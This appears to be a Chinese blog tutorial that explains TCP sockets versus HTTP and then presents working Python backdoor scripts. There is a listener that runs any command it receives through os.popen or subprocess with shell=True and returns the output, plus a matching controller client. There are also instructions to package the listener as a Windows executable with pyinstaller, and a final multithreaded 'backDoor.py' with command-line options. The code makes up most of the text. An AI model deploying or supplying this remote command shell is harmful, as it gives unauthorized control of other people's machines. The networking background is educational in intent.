Python实现Socket通信建立TCP反向连接

前言

本文将记录学习基于 Socket 通信机制建立 TCP 反向连接，借助 Python 脚本实现主机远程控制的目的。

我们在传输数据时，可以只使用（传输层）TCP/IP 协议，但是那样的话，如果没有应用层，便无法识别数据内容，如果想要使传输的数据有意义，则必须使用到应用层协议，应用层协议有很多，比如 HTTP、FTP、TELNET 等，也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装，Socket 本身并不是协议，而是一个调用接口(API)，通过 Socket 我们才能使用 TCP/IP 协议。

HTTP 连接与 Socket 连接的区别

HTTP 是短连接，Socket (基于 TCP 协议的)是长连接。尽管 HTTP1.1 开始支持持久连接，但仍无法保证始终连接。而 Socket 连接一旦建立 TCP 三次握手，除非一方主动断开，否则连接状态一直保持。
HTTP连接，服务端无法主动发消息，Socket 连接，双方请求的发送无先后限制。这点就比较重要了，因为它将决定二者分别适合应用在什么场景下。HTTP 采用“请求-响应”机制，在客户端还没发送消息给服务端前，服务端无法推送消息给客户端。必须满足客户端发送消息在前，服务端回复在后。Socket 连接双方类似 peer2peer 的关系，一方随时可以向另一方喊话。

什么时候该用 HTTP，什么时候该用 Socket？

用 HTTP 的情况：双方不需要时刻保持连接在线，比如客户端资源的获取、文件上传等。
用 Socket 的情况：大部分即时通讯应用(QQ、微信)、聊天室、苹果APNs等。

Python3 关于 Socket 网络编程的相关语法知识可以参见：Python3 网络编程。

远程控制

下面开始来看看如何借助 Python 实现对目标主机的远程控制。

脚本编写

ServerAttack.py 受控端脚本如下：

import socket
import os

ip = \"\"      # 空表示可连接所有主机
port = 5555  # 设置端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # 对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 关闭后不需要保存状态可以立即开启
s.bind((ip, port))  # 对象s 开始绑定ip和端口
s.listen(10)        # 启动监听状态，设置队列中等待连接服务器的最大请求数10
conn, addr = s.accept()       # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
print(\"已建立远程连接：\", addr)  # 显示对方地址

while True:
    data = conn.recv(1024)  # 接收对方字符串 #如果对方不发数据会卡住
    if data == b\"q\":        # 接收到程序终止信号则中断连接
        break
    data = str(data, encoding=\"utf8\")  # 将数据转换为字符串类型
    print(\"远程主机请求的命令：\", data)
    f = os.popen(data)  # 可以将命令的内容以读取的方式返回
    data2 = f.read()
    if data2 == \"\":
        conn.send(b\"finish\")
    else:
        conn.send(bytes(data2, encoding=\"utf8\"))  # 发送命令运行结果

conn.close()  # 断开连接
s.close()     # 关闭套结字

ClientAttack.py 控制端脚本如下：

import socket

ip = \"192.168.146.126\"  # 对方服务器ip地址
port = 5555             # 对方服务器的端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 对象s使用基于tcp协议的网络套接字
s.connect((ip, port))   # 创建socket连接

while True:
    data = input(\"请输入命令：\")
    data = bytes(data, encoding=\"utf8\")
    s.send(data)          # 发送数据给对方
    data2 = s.recv(1024)  # 接收返回的数据
    print(str(data2, encoding=\"utf8\"))
    if data == b\"q\":
        break

s.close()

效果演示

1、Linux 远控

将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行，同时 Win10 物理机运行 ClientAttack.py 控制端脚本，可实现远程连接控制：

2、Windows 远控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可执行文件（pyinstaller -F ServerAttack.py），然后在 Win7 虚拟机运行生成的 ServerAttack.exe 文件，效果如下：

脚本优化

下面使用多线程、脚本参数设置、脚本帮助提示、客户端服务端代码集成来优化上述实现远程控制的脚本。

getopt ()

Python 中 getopt 模块是专门用来处理命令行参数的，函数格式：

getopt(args, shortopts, longopts = [])

参数解析如下：

参数	释义	补充
args	要解析的参数列表	一般是`sys.argv[1:]`，表示获取的参数不包括当前执行的 python 脚本名称
shortopts	要识别的短格式 (-) 选项字符串，如果后接`:`表示需要给定参数	如`ab:c:`，表示识别 -a, -b 和 -c 的短选项，其中 -b 和 -c 需要后接参数
longopts = []	要识别的长格式(–)选项，如果后接`=`表示需要给定参数	如[“help”, “user=”, “password=”]，表示识别`--help, --user=root, --password=123456`的长选项

函数返回值由两个元素组成：

第一个是 (option, value) 元组的列表，(option, value) 元组中的 option 表示包含-或--前缀的选项，value 表示该 option 对应的参数，可以为空字符串表示无参数；
第二个是 args 剥离短选项及其参数和长选项及其参数之后剩余的参数列表。

完整代码

import socket
import getopt
import sys
import subprocess
from threading import Thread


def main():
    target = \"\"  # 目标IP
    port = 0     # 目标端口
    listen = False
    help = False

    # 利用getopt模块从命令行获取参数，sys.argv[1:]可以过滤掉第一个参数（第一个参数是脚本的名称，它不应该作为参数进行解析）
    opts, args = getopt.getopt(sys.argv[1:], \"t:p:hl\")
    for o, a in opts:
        if o == \"-t\":
            target = a
        elif o == \"-p\":
            port = int(a)
        elif o == \"-h\":
            help = True
        elif o == \"-l\":
            listen = True
        else:
            # 断言，传入的参数有误
            assert False, \"Unhandled Option\"

    # 输出帮助文档
    if help:
        usage()

    # 获分客户端和服务端
    if listen:
        server_handle(port)
    else:
        client_handle(target, port)


# 受控端
def server_handle(port):
    # 创建socket通道
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 绑定
    server.bind((\'0.0.0.0\', port))
    # 监听
    server.listen(10)
    print(\"[*] Listening on 0.0.0.0:%d\" % port)
    while True:
        client_socket, addr = server.accept()
        print(\"[*] Accept connection from %s:%d\" % (addr[0], addr[1]))
        t = Thread(target=run_command, args=(client_socket, server,))
        t.start()


# 控制端,发送命令，接收受控端命令行的回显内容
def client_handle(target, port):
    # 创建socket通道
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器
    client.connect((target, port))
    # 接收数据
    while True:
        recv_len = 1
        # 接收到的数据是utf-8
        resBuffer = \"\".encode(\'utf-8\')
        while recv_len:
            data = client.recv(4096)
            recv_len = len(data)
            resBuffer += data
            if recv_len < 4096:
                break
        # 在windows下中文会乱码，所以转成GBK
        print(resBuffer.decode(\'gbk\'), end=\"\")
        # 接收命令，发送命令需要将命令转成byte，并且编码是utf-8
        buffer = input(\"\")
        if buffer.encode(\'utf-8\') == b\"quit\":
            break
        buffer += \"\\n\"
        client.send(buffer.encode(\'utf-8\'))
    client.close()


# 执行命令涵数
def run_command(client_socket,s):
    while True:
        # 发送命令给客户端
        client_socket.send(b\"shell_>\")
        # 定义接收命令byte类型变量
        cmd_buffer = \"\".encode(\'utf-8\')
        # 接收客户端发过来的消息，直到预到换行，代表客户端消息输入完成
        while b\"\\n\" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        if cmd_buffer == b\"quit\":
            break
        # 将完整的byte变量消息转成字符串
        cmd_buffer = cmd_buffer.decode()
        try:
            # 通过隧道执行命令并以byte数据类型返回输出的数据
            out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
            # 将返回的数据发送给客户端
            client_socket.send(out)
        except:
            client_socket.send(b\"faild to execute the command\")
    client_socket.close()  # 断开连接
    s.close()  # 关闭套结字
    exit(0)


# 输出帮助信息
def usage():
    print(\"help info : python backDoor.py -h\")
    print(\"client : python backDoor.py -t [target] -p [port]\")
    print(\"server : python backDoor.py -lp [port]\")
    print(\"Exit ：Input quit to exit \")
    sys.exit()


if __name__ == \"__main__\":
    main()

效果演示

获取脚本帮助提示、进行远程连接：